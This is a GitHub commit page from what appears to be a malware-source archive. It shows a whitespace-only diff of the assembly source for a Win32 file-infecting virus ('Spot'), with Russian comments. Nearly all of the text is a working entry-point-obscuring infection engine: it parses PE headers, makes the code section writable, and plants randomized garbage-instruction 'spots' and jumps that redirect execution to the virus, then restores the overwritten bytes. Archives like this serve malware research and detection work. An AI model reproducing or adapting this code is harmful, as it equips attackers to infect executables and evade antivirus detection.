Rename Win32/Virus.Win32.Spot.asm to Win32/Infector/Virus.Win32.Spot.asm

This commit is contained in:
vxunderground 2020-10-28 23:12:58 -05:00 committed by GitHub
parent 7ec2ec66c9
commit 59acb78c99
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -33,21 +33,21 @@
; (+) RANDOM LENGTH OF JUMP ;
;------------------------------------------------------------------------------;
epo:
push esi edi ; Сохраняем в стэке esi
; и edi
mov [ebp+map_address],edx ; Сохраняем адрес файла в
; памяти
call get_head ; Получаем PE заголовок
push esi edi ; Сохраняем в стэке esi
; и edi
mov [ebp+map_address],edx ; Сохраняем адрес файла в
; памяти
call get_head ; Получаем PE заголовок
;
call search_eip ; Вычисляем новую точку
; входа
call find_code ; Ищем начало кода в этом
; файле
call spots ; Помещаем туда переход
; на вирус
pop edi esi ; Восстанавливаем из стэка
; edi и esi
ret ; Выходим из подпрограммы
call search_eip ; Вычисляем новую точку
; входа
call find_code ; Ищем начало кода в этом
; файле
call spots ; Помещаем туда переход
; на вирус
pop edi esi ; Восстанавливаем из стэка
; edi и esi
ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; PE HEADER SUBROUTINE ;
;------------------------------------------------------------------------------;
@ -61,26 +61,26 @@ epo:
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
get_head:
; Подпрограмма получения
; PE заголовка
; Подпрограмма получения
; PE заголовка
pusha ; Сохраняем всё в стэке
pusha ; Сохраняем всё в стэке
mov ebx,[edx + 3ch] ;
add ebx,edx ;
;
mov [ebp + PE_header],ebx ; сохраняем PE заголовок
mov [ebp + PE_header],ebx ; сохраняем PE заголовок
mov esi,ebx ;
mov edi,esi ;
mov ebx,[esi + 28h] ;
mov [ebp + old_eip],ebx ; Сохраняем старую точку
; входа (eip)
mov [ebp + old_eip],ebx ; Сохраняем старую точку
; входа (eip)
mov ebx,[esi + 34h] ;
mov [ebp + image_base],ebx ; Сохраняем
; виртуальный адрес
; начала программы
popa ; Вынимаем всё из стэка
ret ; Выходим из подпрограммы
mov [ebp + image_base],ebx ; Сохраняем
; виртуальный адрес
; начала программы
popa ; Вынимаем всё из стэка
ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; NEW ENTRY POINT SUBROUTINE ;
;------------------------------------------------------------------------------;
@ -93,31 +93,31 @@ get_head:
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
search_eip:
; Подпрограмма вычисления
; новой точки входа
; Подпрограмма вычисления
; новой точки входа
pusha ; Сохраняем всё в стэке
pusha ; Сохраняем всё в стэке
mov esi,[ebp+PE_header] ; Кладём в esi указатель
; На PE заголовок
mov esi,[ebp+PE_header] ; Кладём в esi указатель
; На PE заголовок
mov ebx,[esi + 74h] ;
shl ebx,3 ;
xor eax,eax ;
mov ax,word ptr [esi + 6h] ; Количество объектов
dec eax ; (нам нужен последний-1
mov ecx,28h ; заголовок секции)
mul ecx ; * размер заголовка
add esi,78h ; теперь esi указывает
add esi,ebx ; на начало последнего
add esi,eax ; заголовка секции
mov ax,word ptr [esi + 6h] ; Количество объектов
dec eax ; (нам нужен последний-1
mov ecx,28h ; заголовок секции)
mul ecx ; * размер заголовка
add esi,78h ; теперь esi указывает
add esi,ebx ; на начало последнего
add esi,eax ; заголовка секции
mov eax,[esi+0ch] ;
add eax,[esi+10h] ; Сохраняем новую точку
mov [ebp+new_eip],eax ; входа
add eax,[esi+10h] ; Сохраняем новую точку
mov [ebp+new_eip],eax ; входа
popa ; Вынимаем всё из стэка
popa ; Вынимаем всё из стэка
ret ; Выходим из подпрограммы
ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; FIND START OF CODE SUBROUTINE ;
;------------------------------------------------------------------------------;
@ -130,59 +130,59 @@ search_eip:
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
find_code:
; Подпрограмма поиска начала
; кода
; Подпрограмма поиска начала
; кода
mov esi,[ebp+PE_header] ; Кладём в esi указатель
; На PE заголовок
mov esi,[ebp+PE_header] ; Кладём в esi указатель
; На PE заголовок
mov ebx,[esi + 74h] ;
shl ebx,3 ; Получаем
shl ebx,3 ; Получаем
xor eax,eax ;
mov ax,word ptr [esi + 6h] ; Количество объектов
mov ax,word ptr [esi + 6h] ; Количество объектов
find2:
mov esi,edi ;
dec eax ;
push eax ; (нам нужен последний-1
mov ecx,28h ; заголовок секции)
mul ecx ; * размер заголовка
add esi,78h ; теперь esi указывает на
add esi,ebx ; начало последнего
; заголовка
add esi,eax ; секции
mov eax,[ebp+old_eip] ; В eax ложим точку входа
mov edx,[esi+0ch] ; В edx адрес куда будет
; мапиться
; текущая секция
cmp edx,eax ; Проверяем
pop eax ; Вынимаем из стэка eax
jg find2 ; Если больше ищем дальше
add edx,[esi+08h] ; Добавляем виртуальный
; размер секци
cmp edx,[ebp+old_eip] ; Проверяем
jl find2 ; Если меньше ищем дальше
push eax ; (нам нужен последний-1
mov ecx,28h ; заголовок секции)
mul ecx ; * размер заголовка
add esi,78h ; теперь esi указывает на
add esi,ebx ; начало последнего
; заголовка
add esi,eax ; секции
mov eax,[ebp+old_eip] ; В eax ложим точку входа
mov edx,[esi+0ch] ; В edx адрес куда будет
; мапиться
; текущая секция
cmp edx,eax ; Проверяем
pop eax ; Вынимаем из стэка eax
jg find2 ; Если больше ищем дальше
add edx,[esi+08h] ; Добавляем виртуальный
; размер секци
cmp edx,[ebp+old_eip] ; Проверяем
jl find2 ; Если меньше ищем дальше
mov edx,[esi+0ch] ; Далее вычисляем
; физическое
mov eax,[ebp+old_eip] ; смещение кода в файле
mov edx,[esi+0ch] ; Далее вычисляем
; физическое
mov eax,[ebp+old_eip] ; смещение кода в файле
sub eax,edx ;
add eax,[esi+14h] ;
add eax,[ebp+map_address] ; И потом добавляем базу
; памяти
add eax,[ebp+map_address] ; И потом добавляем базу
; памяти
mov [ebp+start_code],eax ; Сохраняем начало кода
mov [ebp+start_code],eax ; Сохраняем начало кода
or [esi + 24h],00000020h or 20000000h or 80000000h
; Меняем аттрибуты
; кодовой секции
; Меняем аттрибуты
; кодовой секции
mov eax,[esi+08] ; Вычисляем размер
sub eax,[ebp+old_eip] ; той части кодовой секции,
mov edx,[esi+10h] ; где можно размещать
sub edx,eax ; пятна
mov eax,[esi+08] ; Вычисляем размер
sub eax,[ebp+old_eip] ; той части кодовой секции,
mov edx,[esi+10h] ; где можно размещать
sub edx,eax ; пятна
mov [ebp+size_for_spot],edx ;
ret ; Возврат из процедуры
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
@ -196,26 +196,26 @@ find2:
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
spots:
; Подпрограмма генерации
; пятен
; Подпрограмма генерации
; пятен
mov ecx,1 ; Кладём в ecx единицу
mov ecx,1 ; Кладём в ecx единицу
;
call reset ; Подготавливаем данные
call num_spots ; Генерируем случайное число
; это будет кол-во пятен
call reset ; Подготавливаем данные
call num_spots ; Генерируем случайное число
; это будет кол-во пятен
tred:
call save_bytes ; Сохраняем затираемы байты
call gen_spot ; Генерируем пятно
call save_bytes ; Сохраняем затираемы байты
call gen_spot ; Генерируем пятно
inc ecx ; Увеличиваем ecx на единицу
cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы
jne tred ; Если нет, то генерируем
inc ecx ; Увеличиваем ecx на единицу
cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы
jne tred ; Если нет, то генерируем
call save_bytes ; Сохраняем последние байты
call gen_final_spot ; И генерируем последнее
; пятно
ret ; Возврат из процедуры
call save_bytes ; Сохраняем последние байты
call gen_final_spot ; И генерируем последнее
; пятно
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
@ -228,27 +228,27 @@ tred:
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_spot:
; Подпрограмма генерации
; одного пятна
; Подпрограмма генерации
; одного пятна
push eax ecx ; Сохраняем eax и ecx
push eax ecx ; Сохраняем eax и ecx
call len_sp_jmp ; Получаем случайную длину
xchg eax,ebx ; прыжка пятна
call len_sp_jmp ; Получаем случайную длину
xchg eax,ebx ; прыжка пятна
call testing ; Проверяем, чтобы пятно
jc quit2 ; не выходило за кодовую
; секцию
call testing ; Проверяем, чтобы пятно
jc quit2 ; не выходило за кодовую
; секцию
push ebx
xor bx,bx
dec bx
mov ecx,[ebp+num1] ; Генерируем первую партию
call garbage ; мусора
mov ecx,[ebp+num1] ; Генерируем первую партию
call garbage ; мусора
pop ebx
mov al,0e9h ;
stosb ;
mov eax,0 ; Генерируем jmp
mov eax,0 ; Генерируем jmp
add eax,ebx ;
add eax,ecx ;
stosd ;
@ -256,17 +256,17 @@ gen_spot:
push ebx
xor bx,bx
dec bx
mov ecx,[ebp+num2] ; Генерируем вторую партию
call garbage ; мусора
mov ecx,[ebp+num2] ; Генерируем вторую партию
call garbage ; мусора
pop ebx
sub edi,[ebp+num2] ;
add edi,[ebp+num1] ; Корректируем edi
add edi,[ebp+num1] ; Корректируем edi
add edi,ebx ;
quit2:
pop ecx eax ; Восстанавливаем ecx и eax
pop ecx eax ; Восстанавливаем ecx и eax
ret ; Возврат из подпрограммы
ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; LAST SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
@ -279,36 +279,36 @@ quit2:
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_final_spot:
; Подпрограмма генерации
; финального пятна
; Подпрограмма генерации
; финального пятна
push eax ecx ; Сохраняем eax и ecx
push eax ecx ; Сохраняем eax и ecx
jc not_big ; Если длина не превышает
inc [ebp+n_spots] ; размера кодовой секции, то
not_big: ; Увеличим кол-во пятен
mov ecx,[ebp+num1] ; Генерируем мусорные
call garbage ; инструкции
jc not_big ; Если длина не превышает
inc [ebp+n_spots] ; размера кодовой секции, то
not_big: ; Увеличим кол-во пятен
mov ecx,[ebp+num1] ; Генерируем мусорные
call garbage ; инструкции
push edi ; Сохраняем edi
sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a
mov ebx,edi ; для последнего пятна
pop edi ; Восстанавливаем edi
push edi ; Сохраняем edi
sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a
mov ebx,edi ; для последнего пятна
pop edi ; Восстанавливаем edi
mov al,0e9h ;
stosb ;
mov eax,0 ;
sub eax,5 ; Генерируем финальное
sub eax,ebx ; пятно
sub eax,5 ; Генерируем финальное
sub eax,ebx ; пятно
add eax,[ebp+new_eip] ;
sub eax,[ebp+old_eip] ;
stosd ;
mov ecx,[ebp+num2] ; Генерируем вторую партию
call garbage ; мусорных инструкций
mov ecx,[ebp+num2] ; Генерируем вторую партию
call garbage ; мусорных инструкций
pop ecx eax ; Восстанавливаем ecx и eax
ret ; Возврат из подпрограммы
pop ecx eax ; Восстанавливаем ecx и eax
ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
@ -322,29 +322,29 @@ not_big: ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes:
; Подпрограмма сохранения
; заменяемых байт
; Подпрограмма сохранения
; заменяемых байт
pusha ; Сохраняем всё в стэке
call length1 ; Генерируем длины мусорных
; инструкций
mov ebx,[ebp+num1] ; Помещаем в ebx первую
add ebx,[ebp+num2] ; и вторую длины
add ebx,5 ; Добавляем к ebx - 5
pusha ; Сохраняем всё в стэке
call length1 ; Генерируем длины мусорных
; инструкций
mov ebx,[ebp+num1] ; Помещаем в ebx первую
add ebx,[ebp+num2] ; и вторую длины
add ebx,5 ; Добавляем к ebx - 5
mov esi,edi ; Сохраняем в буфере с
mov edi,[ebp+pointer] ; начала смещение в памяти
mov eax,esi ; на сохраняемые байты
mov esi,edi ; Сохраняем в буфере с
mov edi,[ebp+pointer] ; начала смещение в памяти
mov eax,esi ; на сохраняемые байты
stosd ;
mov ecx,ebx ; После этого сохраняем в
mov eax,ecx ; буфере кол-во сохраняемых
stosd ; байт
mov ecx,ebx ; После этого сохраняем в
mov eax,ecx ; буфере кол-во сохраняемых
stosd ; байт
rep movsb ; И в самом конце сохраняем
mov [ebp+pointer],edi ; в буфере сами байты
rep movsb ; И в самом конце сохраняем
mov [ebp+pointer],edi ; в буфере сами байты
;
popa ; Вынимаем всё из стэка
ret ; Возврат из подпрограммы
popa ; Вынимаем всё из стэка
ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESTORE SUBROUTINE ;
;------------------------------------------------------------------------------;
@ -357,32 +357,32 @@ save_bytes:
; OLD ENTRY POINT -> EBX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
restore:
; Подпрограмма
; восстановления сохранённых
; байт
; Подпрограмма
; восстановления сохранённых
; байт
cld ; Поиск вперёд
lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер
mov edx,1 ; В edx кладём - 1
cld ; Поиск вперёд
lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер
mov edx,1 ; В edx кладём - 1
not_enough:
mov edi,[ebp+old_eip] ; В edi загружаем точку
add edi,[ebp+image_base] ; входа
mov ebx,edi ; Сохраняем edi в ebx
lodsd ; В eax старое смещение
; байт в памяти
sub eax,[ebp+start_code] ; Отнимаем смещение начала
; кода и добавляем
add edi,eax ; точку входа
lodsd ; Загружаем в eax кол-во
mov ecx,eax ; байт и кладём их в ecx
rep movsb ; Перемещаем оригинальные
; байты на старое место
inc edx ; Переходим к следующему
cmp edx,[ebp+n_spots] ; пятну
jl not_enough ; если не все пятна вернули,
; то восстанавливаем дальше
mov edi,[ebp+old_eip] ; В edi загружаем точку
add edi,[ebp+image_base] ; входа
mov ebx,edi ; Сохраняем edi в ebx
lodsd ; В eax старое смещение
; байт в памяти
sub eax,[ebp+start_code] ; Отнимаем смещение начала
; кода и добавляем
add edi,eax ; точку входа
lodsd ; Загружаем в eax кол-во
mov ecx,eax ; байт и кладём их в ecx
rep movsb ; Перемещаем оригинальные
; байты на старое место
inc edx ; Переходим к следующему
cmp edx,[ebp+n_spots] ; пятну
jl not_enough ; если не все пятна вернули,
; то восстанавливаем дальше
quit: ;
ret ; Возврат из процедуры
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; LENGTH SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
@ -395,23 +395,23 @@ quit: ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
length1:
; Подпрограмма генерации
; длин мусорных инструкций
; Подпрограмма генерации
; длин мусорных инструкций
mov eax,20 ;
call brandom32 ; Генерируем случайное число
test eax,eax ; в диапазоне 1..19
call brandom32 ; Генерируем случайное число
test eax,eax ; в диапазоне 1..19
jz length1 ;
mov [ebp+num1],eax ; Сохраняем его в переменную
mov [ebp+num1],eax ; Сохраняем его в переменную
rand2:
mov eax,20 ;
call brandom32 ; Генерируем случайное число
test eax,eax ; в диапазоне 1..19
call brandom32 ; Генерируем случайное число
test eax,eax ; в диапазоне 1..19
jz rand2 ;
mov [ebp+num2],eax ; Сохраняем его в вторую
; переменную
ret ; Возврат из процедуры
mov [ebp+num2],eax ; Сохраняем его в вторую
; переменную
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESET SUBROUTINE ;
;------------------------------------------------------------------------------;
@ -424,16 +424,16 @@ rand2:
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
reset:
; Подпрограмма инициализации
; переменных
; Подпрограмма инициализации
; переменных
mov edi,[ebp+start_code] ;
;
push esi ; Инициализируем переменные
push esi ; Инициализируем переменные
lea esi,[ebp+rest_bytes] ;
mov [ebp+pointer],esi ;
pop esi ;
ret ; Возврат из процедуры
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT JUMP LENGTH GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
@ -446,15 +446,15 @@ reset:
; LENGTH OF SPOT JUMP -> EAX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
len_sp_jmp:
; Подпрограмма генерации
; длины прыжка
; Подпрограмма генерации
; длины прыжка
mov eax,150 ;
call brandom32 ; Генерируем случайное число
cmp eax,45 ; в диапазоне 45..149
call brandom32 ; Генерируем случайное число
cmp eax,45 ; в диапазоне 45..149
jle len_sp_jmp ;
ret ; Возврат из процедуры
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS NUMBER GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
@ -467,18 +467,18 @@ len_sp_jmp:
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
num_spots:
; Подпрограмма генерации
; количества пятен
; Подпрограмма генерации
; количества пятен
pusha ; Сохраняем всё в стэке
pusha ; Сохраняем всё в стэке
mov eax,40 ; Генерируем случайное число
call brandom32 ; в диапазоне 1..40
inc eax ; И сохраняем его в
mov [ebp+n_spots],eax ; переменной
mov eax,40 ; Генерируем случайное число
call brandom32 ; в диапазоне 1..40
inc eax ; И сохраняем его в
mov [ebp+n_spots],eax ; переменной
popa ; Вынимаем всё из стэка
ret ; Возврат из процедуры
popa ; Вынимаем всё из стэка
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; TESTING SUBROUTINE ;
;------------------------------------------------------------------------------;
@ -491,39 +491,39 @@ num_spots:
; CARRY FLAG ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
testing:
; Подпрограмма проверки
; попадения в границу секции
; Подпрограмма проверки
; попадения в границу секции
push edi eax ; Сохраняем edi eax в стэке
push edi eax ; Сохраняем edi eax в стэке
add edi,[ebp+num1] ; Добавим к edi 1-ую длину
; мусорных инструкций
add edi,[ebp+num2] ; После этого добавим 2-ую
add edi,300 ; И добавим число в которое
; входит максимальный размер
; пятна + длина его прыжка
mov eax,[ebp+size_for_spot] ; В eax загрузим размер
; места для пятен и смещение
add eax,[ebp+start_code] ; в памяти точки входа
add edi,[ebp+num1] ; Добавим к edi 1-ую длину
; мусорных инструкций
add edi,[ebp+num2] ; После этого добавим 2-ую
add edi,300 ; И добавим число в которое
; входит максимальный размер
; пятна + длина его прыжка
mov eax,[ebp+size_for_spot] ; В eax загрузим размер
; места для пятен и смещение
add eax,[ebp+start_code] ; в памяти точки входа
cmp edi,eax ; Сравним eax и edi
clc ; Сбросим carry флаг
jl m_space ; Если edi меньше, то все
; хорошо
mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем
inc [ebp+n_spots] ; количество пятен и
stc ; устанавливаем carry флаг
cmp edi,eax ; Сравним eax и edi
clc ; Сбросим carry флаг
jl m_space ; Если edi меньше, то все
; хорошо
mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем
inc [ebp+n_spots] ; количество пятен и
stc ; устанавливаем carry флаг
m_space:
pop eax edi ; Вынимаем eax и edi
ret ; Возврат из процедуры
pop eax edi ; Вынимаем eax и edi
ret ; Возврат из процедуры
;------------------------------------------------------------------------------;
pointer dd 0 ;
n_spots dd 0 ;
;
num1 dd 0 ;
num2 dd 0 ;
; Данные необходимые для
PE_header dd 0 ; работы мотора
; Данные необходимые для
PE_header dd 0 ; работы мотора
old_eip dd 0 ;
image_base dd 0 ;
start_code dd 0 ;